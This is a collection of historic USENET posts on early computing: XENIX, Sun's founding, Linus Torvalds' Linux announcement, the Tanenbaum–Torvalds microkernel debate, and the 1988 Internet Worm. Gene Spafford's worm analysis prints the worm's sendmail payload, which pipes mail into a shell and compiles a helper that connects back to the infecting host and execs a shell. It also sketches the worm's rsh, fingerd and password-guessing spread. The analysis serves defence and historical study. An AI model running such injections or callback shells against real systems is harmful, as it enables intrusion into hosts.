selected USENET posts found on Google Archives
http://www.google.com/googlegroups/archive_announce_20.html
-------- May 1981 First mention of Microsoft (note the discussion of XENIX) Message-ID:Newsgroups: net.general,net.general X-Path: utzoo!duke!unc!smb From: unc!smb Date: Thu May 28 21:40:54 1981 Subject: XENIX X-Google-Info: Converted from the original A-News header The June issue of BYTE magazine has a fairly long article on XENIX by Microsoft's XENIX product manager. Mostly, it's a standard "What's a UNIX" paper, but it also describes some of the enhancements they are adding to V7. The most important is support; additionally, they are going to add a fair amount of hardware error recovery (bad block handling, parity and power fail interrupts, etc.), as well as record handling, shared data segments, synchronous writing, improved interprocess communications, networking, and languages: Pascal, BASIC, FORTRAN, and COBOL.
-------- Apr 1982 First mention of Sun Microsystems Message-ID:Newsgroups: net.rumor X-Path: utzoo!decvax!ucbvax!ucbernie!daemon From: ucbernie!daemon Date: Fri Apr 16 10:38:54 1982 Subject: Bill Joy's plans X-Google-Info: Converted from the original A-News header Bill Joy has decided to become involved with a new startup company and will be phasing out of the CSRG over the next few months. He will be joining Sun Microsystems, Inc., a company whose founders include Andy Bechtolsheim, the designer of the Sun workstation. SMI is one of a number of companies which plan to offer microprocessor-based networked workstations running 4.2BSD software. Bill plans to continue full time until July 1 when an early version of the 4.2BSD distribution should be complete and running in house. He will continue half time through its polishing, tuning, beta testing and documentation phases. Bill expects to finish writing his PhD thesis by December. Bill will continue as a contributor and advisor to CSRG, although it will be a secondary activity for him. While SMI may need to develop proprietary software in certain specialized areas, Bill expects fixes to the shared base of 4.2BSD programs which are made at SMI can be distributed by Berkeley. The current cooperative efforts between CSRG and various industrial groups are seen as a model for the relationship. Bill has been a valued colleague and friend during his years at Berkeley and he will be very much missed. I hope you will join me in wishing him well as he makes this transition.
-------- Oct 1991 Linus Torvalds' Linux announcement From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds) Newsgroups: comp.os.minix Subject: Free minix-like kernel sources for 386-AT Keywords: 386, preliminary version Message-ID: <1991Oct5.054106.4647@klaava.Helsinki.FI> Date: 5 Oct 91 05:41:06 GMT Organization: University of Helsinki Lines: 55 Do you pine for the nice days of minix-1.1, when men were men and wrote their own device drivers? Are you without a nice project and just dying to cut your teeth on a OS you can try to modify for your needs? Are you finding it frustrating when everything works on minix? No more all- nighters to get a nifty program working? Then this post might be just for you :-) As I mentioned a month(?) ago, I'm working on a free version of a minix-lookalike for AT-386 computers. It has finally reached the stage where it's even usable (though may not be depending on what you want), and I am willing to put out the sources for wider distribution. It is just version 0.02 (+1 (very small) patch already), but I've successfully run bash/gcc/gnu-make/gnu-sed/compress etc under it. Sources for this pet project of mine can be found at nic.funet.fi (128.214.6.100) in the directory /pub/OS/Linux. The directory also contains some README-file and a couple of binaries to work under linux (bash, update and gcc, what more can you ask for :-). Full kernel source is provided, as no minix code has been used. Library sources are only partially free, so that cannot be distributed currently. The system is able to compile "as-is" and has been known to work. Heh. Sources to the binaries (bash and gcc) can be found at the same place in /pub/gnu. ALERT! WARNING! NOTE! These sources still need minix-386 to be compiled (and gcc-1.40, possibly 1.37.1, haven't tested), and you need minix to set it up if you want to run it, so it is not yet a standalone system for those of you without minix. I'm working on it. You also need to be something of a hacker to set it up (?), so for those hoping for an alternative to minix-386, please ignore me. It is currently meant for hackers interested in operating systems and 386's with access to minix. The system needs an AT-compatible harddisk (IDE is fine) and EGA/VGA. If you are still interested, please ftp the README/RELNOTES, and/or mail me for additional info. I can (well, almost) hear you asking yourselves "why?". Hurd will be out in a year (or two, or next month, who knows), and I've already got minix. This is a program for hackers by a hacker. I've enjouyed doing it, and somebody might enjoy looking at it and even modifying it for their own needs. It is still small enough to understand, use and modify, and I'm looking forward to any comments you might have. I'm also interested in hearing from anybody who has written any of the utilities/library functions for minix. If your efforts are freely distributable (under copyright or even public domain), I'd like to hear from you, so I can add them to the system. I'm using Earl Chews estdio right now (thanks for a nice and working system Earl), and similar works will be very wellcome. Your (C)'s will of course be left intact. Drop me a line if you are willing to let me use your code. Linus PS. to PHIL NELSON! I'm unable to get through to you, and keep getting "forward error - strawberry unknown domain" or something.
-------- Jan 1992 The famous Linux debate between Andy Tanenbaum and Linus Torvalds --------------- Linux responds to the original post (which is below) From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds) Newsgroups: comp.os.minix Subject: Re: LINUX is obsolete Message-ID: <1992Jan29.231426.20469@klaava.Helsinki.FI> Date: 29 Jan 92 23:14:26 GMT References: <12595@star.cs.vu.nl> Organization: University of Helsinki Lines: 91 Well, with a subject like this, I'm afraid I'll have to reply. Apologies to minix-users who have heard enough about linux anyway. I'd like to be able to just "ignore the bait", but ... Time for some serious flamefesting! In article <12595@star.cs.vu.nl> ast@cs.vu.nl (Andy Tanenbaum) writes: > >I was in the U.S. for a couple of weeks, so I haven't commented much on >LINUX (not that I would have said much had I been around), but for what >it is worth, I have a couple of comments now. > >As most of you know, for me MINIX is a hobby, something that I do in the >evening when I get bored writing books and there are no major wars, >revolutions, or senate hearings being televised live on CNN. My real >job is a professor and researcher in the area of operating systems. You use this as an excuse for the limitations of minix? Sorry, but you loose: I've got more excuses than you have, and linux still beats the pants of minix in almost all areas. Not to mention the fact that most of the good code for PC minix seems to have been written by Bruce Evans. Re 1: you doing minix as a hobby - look at who makes money off minix, and who gives linux out for free. Then talk about hobbies. Make minix freely available, and one of my biggest gripes with it will disappear. Linux has very much been a hobby (but a serious one: the best type) for me: I get no money for it, and it's not even part of any of my studies in the university. I've done it all on my own time, and on my own machine. Re 2: your job is being a professor and researcher: That's one hell of a good excuse for some of the brain-damages of minix. I can only hope (and assume) that Amoeba doesn't suck like minix does. >1. MICROKERNEL VS MONOLITHIC SYSTEM True, linux is monolithic, and I agree that microkernels are nicer. With a less argumentative subject, I'd probably have agreed with most of what you said. From a theoretical (and aesthetical) standpoint linux looses. If the GNU kernel had been ready last spring, I'd not have bothered to even start my project: the fact is that it wasn't and still isn't. Linux wins heavily on points of being available now. > MINIX is a microkernel-based system. [deleted, but not so that you > miss the point ] LINUX is a monolithic style system. If this was the only criterion for the "goodness" of a kernel, you'd be right. What you don't mention is that minix doesn't do the micro-kernel thing very well, and has problems with real multitasking (in the kernel). If I had made an OS that had problems with a multithreading filesystem, I wouldn't be so fast to condemn others: in fact, I'd do my damndest to make others forget about the fiasco. [ yes, I know there are multithreading hacks for minix, but they are hacks, and bruce evans tells me there are lots of race conditions ] >2. PORTABILITY "Portability is for people who cannot write new programs" -me, right now (with tongue in cheek) The fact is that linux is more portable than minix. What? I hear you say. It's true - but not in the sense that ast means: I made linux as conformant to standards as I knew how (without having any POSIX standard in front of me). Porting things to linux is generally /much/ easier than porting them to minix. I agree that portability is a good thing: but only where it actually has some meaning. There is no idea in trying to make an operating system overly portable: adhering to a portable API is good enough. The very /idea/ of an operating system is to use the hardware features, and hide them behind a layer of high-level calls. That is exactly what linux does: it just uses a bigger subset of the 386 features than other kernels seem to do. Of course this makes the kernel proper unportable, but it also makes for a /much/ simpler design. An acceptable trade-off, and one that made linux possible in the first place. I also agree that linux takes the non-portability to an extreme: I got my 386 last January, and linux was partly a project to teach me about it. Many things should have been done more portably if it would have been a real project. I'm not making overly many excuses about it though: it was a design decision, and last april when I started the thing, I didn't think anybody would actually want to use it. I'm happy to report I was wrong, and as my source is freely available, anybody is free to try to port it, even though it won't be easy. Linus PS. I apologise for sometimes sounding too harsh: minix is nice enough if you have nothing else. Amoeba might be nice if you have 5-10 spare 386's lying around, but I certainly don't. I don't usually get into flames, but I'm touchy when it comes to linux :)
-------- Jan 1992 The famous Linux debate between Andy Tanenbaum and Linus Torvalds From: ast@cs.vu.nl (Andy Tanenbaum) Newsgroups: comp.os.minix Subject: LINUX is obsolete Message-ID: <12595@star.cs.vu.nl> Date: 29 Jan 92 12:12:50 GMT Sender: news@cs.vu.nl Organization: Fac. Wiskunde & Informatica, Vrije Universiteit, Amsterdam Lines: 76 I was in the U.S. for a couple of weeks, so I haven't commented much on LINUX (not that I would have said much had I been around), but for what it is worth, I have a couple of comments now. As most of you know, for me MINIX is a hobby, something that I do in the evening when I get bored writing books and there are no major wars, revolutions, or senate hearings being televised live on CNN. My real job is a professor and researcher in the area of operating systems. As a result of my occupation, I think I know a bit about where operating are going in the next decade or so. Two aspects stand out: 1. MICROKERNEL VS MONOLITHIC SYSTEM Most older operating systems are monolithic, that is, the whole operating system is a single a.out file that runs in 'kernel mode.' This binary contains the process management, memory management, file system and the rest. Examples of such systems are UNIX, MS-DOS, VMS, MVS, OS/360, MULTICS, and many more. The alternative is a microkernel-based system, in which most of the OS runs as separate processes, mostly outside the kernel. They communicate by message passing. The kernel's job is to handle the message passing, interrupt handling, low-level process management, and possibly the I/O. Examples of this design are the RC4000, Amoeba, Chorus, Mach, and the not-yet-released Windows/NT. While I could go into a long story here about the relative merits of the two designs, suffice it to say that among the people who actually design operating systems, the debate is essentially over. Microkernels have won. The only real argument for monolithic systems was performance, and there is now enough evidence showing that microkernel systems can be just as fast as monolithic systems (e.g., Rick Rashid has published papers comparing Mach 3.0 to monolithic systems) that it is now all over but the shoutin`. MINIX is a microkernel-based system. The file system and memory management are separate processes, running outside the kernel. The I/O drivers are also separate processes (in the kernel, but only because the brain-dead nature of the Intel CPUs makes that difficult to do otherwise). LINUX is a monolithic style system. This is a giant step back into the 1970s. That is like taking an existing, working C program and rewriting it in BASIC. To me, writing a monolithic system in 1991 is a truly poor idea. 2. PORTABILITY Once upon a time there was the 4004 CPU. When it grew up it became an 8008. Then it underwent plastic surgery and became the 8080. It begat the 8086, which begat the 8088, which begat the 80286, which begat the 80386, which begat the 80486, and so on unto the N-th generation. In the meantime, RISC chips happened, and some of them are running at over 100 MIPS. Speeds of 200 MIPS and more are likely in the coming years. These things are not going to suddenly vanish. What is going to happen is that they will gradually take over from the 80x86 line. They will run old MS-DOS programs by interpreting the 80386 in software. (I even wrote my own IBM PC simulator in C, which you can get by FTP from ftp.cs.vu.nl = 192.31.231.42 in dir minix/simulator.) I think it is a gross error to design an OS for any specific architecture, since that is not going to be around all that long. MINIX was designed to be reasonably portable, and has been ported from the Intel line to the 680x0 (Atari, Amiga, Macintosh), SPARC, and NS32016. LINUX is tied fairly closely to the 80x86. Not the way to go. Don`t get me wrong, I am not unhappy with LINUX. It will get all the people who want to turn MINIX in BSD UNIX off my back. But in all honesty, I would suggest that people who want a **MODERN** "free" OS look around for a microkernel-based, portable OS, like maybe GNU or something like that. Andy Tanenbaum (ast@cs.vu.nl) P.S. Just as a random aside, Amoeba has a UNIX emulator (running in user space), but it is far from complete. If there are any people who would like to work on that, please let me know. To run Amoeba you need a few 386s, one of which needs 16M, and all of which need the WD Ethernet card.
-------- Nov 1988 Gene Spafford's analysis of how the Internet Worm worked From: spaf@cs.purdue.edu (Gene Spafford) Newsgroups: news.sysadmin Subject: Re: The virus Message-ID: <5312@medusa.cs.purdue.edu> Date: 4 Nov 88 01:11:06 GMT References: <5311@medusa.cs.purdue.edu> Sender: news@cs.purdue.EDU Reply-To: spaf@cs.purdue.edu (Gene Spafford) Organization: Department of Computer Science, Purdue University Lines: 140 This is an updated description of how the worm works (note: it is technically a worm, not a virus, since it does not attach itself to other code {that we know about}): All of our Vaxen and some of our Suns here were infected with the worm. The worm forks repeated copies of itself as it tries to spread itself, and the load averages on the infected machines skyrocketed. In fact, it got to the point that some of the machines ran out of swap space and kernel table entries, preventing login to even see what was going on! The worm seems to consist of two parts. The way that it works is as follows: 1) Virus running on an infected machine opens a TCP connection to a victim machine's sendmail, invokes debug mode, and submits a version of itself as a mail message. *OR* it uses rsh to create itself on the remote machine through an account requiring no password (due to hosts.equiv or .rhosts entries). Using the sendmail route, it does something like: From: /dev/null To: "|sed -e 1,/^$/d | sh; exit 0" cd /usr/tmp cat > x14481910.c >>'EOF' >text of program deleted? EOF cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c 2) This program is a simple "listener" or "helper" program of a few dozen lines of fairly simple code. As you can see, the helper is invoked with arguments pointing back at the infecting worm (giving hostid/socket/checksum(?) as arguments). 3) The helper then connects to the "server" and copies a number of files (presumably to /tmp). After the files are copied, it exec's a shell with standard input coming from the infecting worm program on the other end of the socket. From here, I speculate on what happens since I can't find the source to this part lying around on our machines: 4) The newly exec'd shell attempts to compile itself from the files copied over to the target machine. The command file it uses is as follows: PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x%d else P=sh cc -o $P %s /bin/echo %s ./$P -p $$ 5) This creates and dispatches the new worm.. This worm opens all the worm source files, then unlinks the files so they can't be found (since it has them open, however, it can still access the contents). Next, the worm steps through the hosts file (on the Sun, it uses YP to step through the distributed hosts file) trying to connect to other machines' sendmail. If a connection succeeds, it forks a child process to infect it, while the parent continues to attempt infection of other machines. 7) The child requests and initializes a new socket, then builds and invokes a listener with the new socket number and hostid as arguments (#1, above). Other notes: The worm runs in stages. It first collects info from the /etc/hosts files, the hosts.equiv file, and other files containing host names and host IP addresses. It even runs netstat to find out what networks the machine is attached to! It uses this information to attempt to penetrate sendmail on those machines. It also knows how to penetrate "fingerd" on Vaxen (on Suns, the attempt results in a core dump). I will privately tell individuals how to fix the bug in fingerd, but for now change it so it does not run as "root". After this first stage, it appears to sleep for a while. Then it starts collecting user names and it begins probing with "rsh". I believe it also permutes either an internal list of words, or it uses the names from passwd, but it also tries to see if it can break any of the passwords for local accounts; if so, if forks a child to use telnet to break into that account and copy itself. It tries to copy itself to other systems using rsh, fingerd, and possibly also uucp and/or ftp. As I write this, no one seems to know what it is supposed to eventually do. Perhaps it just breaks in everywhere it can. I wonder if it isn't just going to wait until some compiled-in time and then run an "rm -rf /" or something similar (and awful). Has anyone noticed new files in /usr/spool/at or included in /usr/lib/crontab? Other notes: The program corrupts its argument vector, so it appears in a "ps ax" as "(sh)" (a login shell). Don't trust any of these if you have them running. The program doesn't copy around source files (except the helper) -- it copies around pre-compiled binaries that are linked on the local machine and then run. The worm appears to only be carrying binaries for 68020-based Suns and Vax 7xx machines. Pyramids, Sun 2's and Sequents are all definitely immune. The strings in the binaries are encrypted against a random "strings" invocation. If you have a binary, Keith Bostic informs me that Xor with 0x81 will reveal interesting things, although that is not the only mask used. The first observation of the virus I have heard about was 6pm Wednesday night in Pittsburgh. It didn't hit Purdue until about 4 this morning. I will update you with any further information I may find. If you forward whatever information you find, I will try to collate it. --spaf Acknowledgements: Some of the above information was obtained from Brian Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle (Purdue), and Miek Rowan (Purdue). Thanks, guys. -- Gene Spafford NSF/Purdue/U of Florida Software Engineering Research Center, Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-2004 Internet: spaf@cs.purdue.edu uucp: ...!{decwrl,gatech,ucbvax}!purdue!spaf
-------------- first warnings of the virus described above: From: yee@AMES.ARC.NASA.GOV (Peter E. Yee) Newsgroups: comp.protocols.tcp-ip Subject: Internet VIRUS alert Message-ID: <8811030728.AA18199@ames.arc.nasa.gov> Date: 3 Nov 88 07:28:00 GMT Sender: daemon@ucbvax.BERKELEY.EDU Organization: The Internet Lines: 19 We are currently under attack from an Internet VIRUS. It has hit UC Berkeley, UC San Diego, Lawrence Livermore, Stanford, and NASA Ames. The virus comes in via SMTP, and then is able to attack all 4.3BSD and SUN (3.X?) machines. It sends a RCPT TO that requests that its data be piped through a shell. It copies in a program, compiles and executes it. This program copies in VAX and SUN binaries that try to replicate the virus via connections to TELNETD, FTPD, FINGERD, RSHD, and SMTP. The programs also appear to have DES tables in them. They appear in /usr/tmp as files that start with the letter x. Removing them is not enough as they will come back in the next wave of attacks. For now turning off the above services seems to be the only help. The virus is able to take advantage of .rhosts files and hosts.equiv. We are not certain what the final result of the binaries is, hence the warning. I can be contacted at (415) 642-7447. Phil Lapsley and Kurt Pires at this number are also conversant with the virus. -Peter Yee yee@ames.arc.nasa.gov ames!yee